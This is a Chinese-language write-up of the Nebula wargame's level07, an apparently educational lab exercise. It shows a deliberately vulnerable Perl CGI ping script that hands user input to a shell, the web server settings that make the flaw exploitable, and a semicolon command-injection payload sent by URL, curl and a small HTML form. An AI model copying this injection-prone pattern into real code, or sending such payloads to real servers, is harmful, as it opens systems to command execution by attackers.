Nabula write-up level07

Level07

The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.
To do this level, log in as the level07 account with the password level07. Files for this level can be found in /home/flag07.

Source code

#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
    $host = $_[0];

    print("<html><head><title>Ping results</title></head><body><pre>");
    @output = `ping -c 3 $host 2>&1`;
    foreach $line (@output) { print "$line"; } 
    print("</pre></body></html>");
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));

第一眼看到perl的时候基本就懵了:完全没接触过这种脚本语言。不过其实只要懂最后一句

ping(param("Host"));

意思是输入参数名为Host就好了。

  1. 构建可以运行的thttp环境。
    先把虚拟机的NAT还是桥接做好,ifconfig可以拿到其他机器可以访问的IP。thttp是与apache/nginx类似的http解释器,需要在目标机上运行起来。-C意为按照conf的脚本配置运行。

    $ thttp -D -C /home/flag07/thttpd.conf
    

    运行成功的标志是在其他同网段机器浏览器上访问http://192.168.3.x:7007/index.cgi能够显示index.cgi的内容,或者访问http://192.168.3.x:7007/index.cgi?Host=localhost能回复ping信息。

  2. 仔细分析thttpd.conf文件,中间有些内容值得注意:
    port = 7007 //http服务运行在7007端口
    nochroot //不限制运行程序的访问路径。大多数情况下http解释器都会将访问权限限制在本目录下,即设定为chroot(change root dir),目前这个设置无疑开了后门。
    user = flag07 //表示运行这个http服务的用户是flag07,提权关键

  3. 目前已知:http设定是运行在flag07用户,可访问任意目录(如果有机会的话)。所以要做的就是看有没有机会将自己的攻击代码注入到某个接口。按大佬们的说法,源代码中@output = `ping -c 3 $host 2>&1`;的单点号,和C语言中的system()同理。因此可以和之前一样,通过分号进行命令注入。
  4. http链接注意一下转义,注入就好了
    http://192.168.3.x:7007/index.cgi?Host=localhost%3Bgetflag 其中%3B是分号的转义。

    大神们自己写了个html以方便的注入

    <html>
    <head><title>test</title></head>
    
    <body>
        <form action="http://192.168.56.101:7007/index.cgi" method="get">
            <input type="text" name="Host" />
            <input type="submit" />
        </form>
    
    <script src="/fb_static/lib/markdown/MathJax/MathJax.js?config=TeX-AMS_HTML-full.js" type="text/javascript">
       MathJax.Hub.Config({
           tex2jax: {
                inlineMath: [ ['$','$']],
                displayMath: [ ['$$','$$'] ]
                },
            "HTML-CSS": {
                imageFont: null,
                availableFonts: ["TeX"],
                preferredFont: "TeX"
            },
            extensions: ["jsMath2jax.js", 'tex2jax.js', 'MatchWebFonts.js'],
            messageStyle: "none"
        });
    </script>
    </body>
    </html>    
    

    也可以用curl方便的实验

    $ curl 192.168.3.42:7007/index.cgi?Host=localhost%3Bgetflag
    

P.S. 进行此实验需要在干净的刚重启的nebula环境开启http服务,否则反复几下开启http服务的可能就变成level07用户了...被坑好久

Comments
Write a Comment
'